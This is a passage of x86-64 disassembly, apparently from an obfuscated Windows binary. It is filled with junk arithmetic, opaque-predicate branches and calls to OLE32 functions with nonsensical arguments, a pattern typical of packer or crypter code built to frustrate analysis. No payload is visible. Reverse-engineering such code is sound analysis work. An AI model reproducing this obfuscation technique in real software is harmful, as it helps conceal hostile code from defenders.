call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x40c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2150]
mov dword [rsp + 0x2174], eax
cmp dword [rsp + 0x2174], 0x7766a4e7
je 0x1400598a4
jmp 0x140059913
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
lea r9, [rsp + 0xfe]
lea r8, [rsp + 0x17e68]
lea rdx, str.jackdaws
lea rcx, [rsp + 0x17e68]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
jmp 0x140059930
lea rdx, [rsp + 0x17e38]
lea rcx, [rsp + 0x17e98]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x2178], eax
jmp 0x140059979
mov rax, qword [rsp + 0x4010]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov eax, dword [rsp + 0x212c]
mov dword [rsp + 0x217c], eax
mov dword [rsp + 0x2180], 0xad93
lea rax, [rsp + 0xfa]
mov qword [rsp + 0x40d0], rax
jmp 0x14005999b
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4048]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401a0008], rax
movzx eax, word [rsp + 0x8ec]
cmp eax, 0x805
jg 0x140059a4d
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x40d8], rax
movabs rax, 0xf47ff7a1a97bbd74
cmp qword [rsp + 0x40d8], rax
je 0x140059a0c
movabs rax, 0xfc7b4632b18b4a49
cmp qword [rsp + 0x40d8], rax
je 0x1400599eb
jmp 0x140059a48
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
jmp 0x140059a48
lea rdx, [rsp + 0x17fb8]
lea rcx, [rsp + 0x17ec8]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
jmp 0x140059aeb
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x20e8]
mov edx, dword [rsp + 0x209c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140059aeb
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfa], al
lea rdx, [rsp + 0x40c0]
lea rcx, [rsp + 0x17e98]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
add eax, 0x5f3412b2
mov dword [rsp + 0x2150], eax
mov dword [rsp + 0x2188], 0xde36
mov dword [rsp + 0x218c], 0x10627
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sar eax, cl
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xfd], al
mov eax, dword [rsp + 0x2150]
and eax, 0x6a5612f2
mov dword [rsp + 0x2128], eax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x212c], eax
mov eax, dword [rsp + 0x2128]
add eax, 0x6c6e92a
mov dword [rsp + 0x2150], eax
movzx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
sub eax, 0xa87
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x213c]
sub eax, 0xe9
mov dword [rsp + 0x213c], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
sar eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x217c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4090], rax
mov eax, dword [rsp + 0x2150]
shl eax, 9
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [0x1401a0008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x20a0], eax
movzx eax, word [rsp + 0x8ec]
shl eax, 2
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
xor rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0x1c9
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
add eax, 0x545aab3e
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8ec]
and eax, 0x79e
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
xor eax, 0xc1e
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x2128]
or eax, 0x520e62fe
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x40e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40e0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
cmp dword [rsp + 0x213c], 0x4a99
jae 0x140059b01
mov eax, dword [rsp + 0x217c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov dword [rsp + 0x2190], 0xff91
mov eax, dword [rsp + 0x2150]
sub eax, 0x1daa48e4
cmp eax, dword [rsp + 0x2128]
je 0x140152e4d
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
xor eax, ecx
movsx ecx, byte [rsp + 0x7c]
movsx edx, byte [rsp + 0xfb]
add ecx, edx
cmp eax, ecx
je 0x14005a19e
lea rcx, [rsp + 0x3fe0]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x20fc], eax
mov eax, dword [rsp + 0x2150]
and eax, 0x3d3042af
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov dword [rsp + 0x2194], eax
cmp dword [rsp + 0x2194], 0x1ae81a60
je 0x14005a14a
cmp dword [rsp + 0x2194], 0xe9cb7986
je 0x14005a166
jmp 0x14005a19e
mov edx, 0x9a
lea rcx, [rsp + 0xfc]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x2198], eax
jmp 0x14005a19e
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov edx, 0x1b
lea rcx, [rsp + 0x17ea8]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov qword [rsp + 0x40e8], rax
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4018]
mov qword [rsp + 0x40f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x40f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40f8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2154]
sub eax, 0xf7
mov dword [rsp + 0x2154], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x212c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
cmp dword [rsp + 0x2154], 0x15c7
jae 0x14005a19e
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfa]
or eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2118]
sub eax, 0x36
mov dword [rsp + 0x2118], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
shl eax, cl
mov byte [rsp + 0xfb], al
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x212c], eax
mov eax, dword [rsp + 0x2150]
and eax, 0x3a3d638b
mov dword [rsp + 0x2128], eax
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x952
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
sar eax, 7
mov dword [rsp + 0x2128], eax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0xfc]
shl eax, cl
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
and eax, 0x20ef88c6
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
cmp dword [rsp + 0x2118], 0x461e
ja 0x14005a389
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
shl eax, cl
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x4100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4100]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x2150]
sub eax, 0x5be3c5da
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0xf9], al
mov eax, dword [rsp + 0x210c]
add eax, 0x50
mov dword [rsp + 0x210c], eax
movzx eax, word [rsp + 0x8ec]
and eax, 0xc77
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e8], eax
cmp dword [rsp + 0x210c], 0x6f7c
jbe 0x14005a786
cmp dword [rsp + 0x214c], 0x1069
ja 0x14005ab38
mov eax, dword [rsp + 0x2150]
xor eax, 0x7ba0dce2
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
shl eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
sar eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
sub eax, 0x5acdf1ec
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x214c]
add eax, 0x3b
mov dword [rsp + 0x214c], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
jmp 0x14005a953
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
xor eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x3f98]
movzx ecx, al
mov rax, qword [rsp + 0x4010]
shl rax, cl
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
sub eax, 0x761a0d6
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfc], al
mov eax, dword [rsp + 0x2150]
sub eax, 0x2d7fabbc
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x4108], rcx
movzx ecx, al
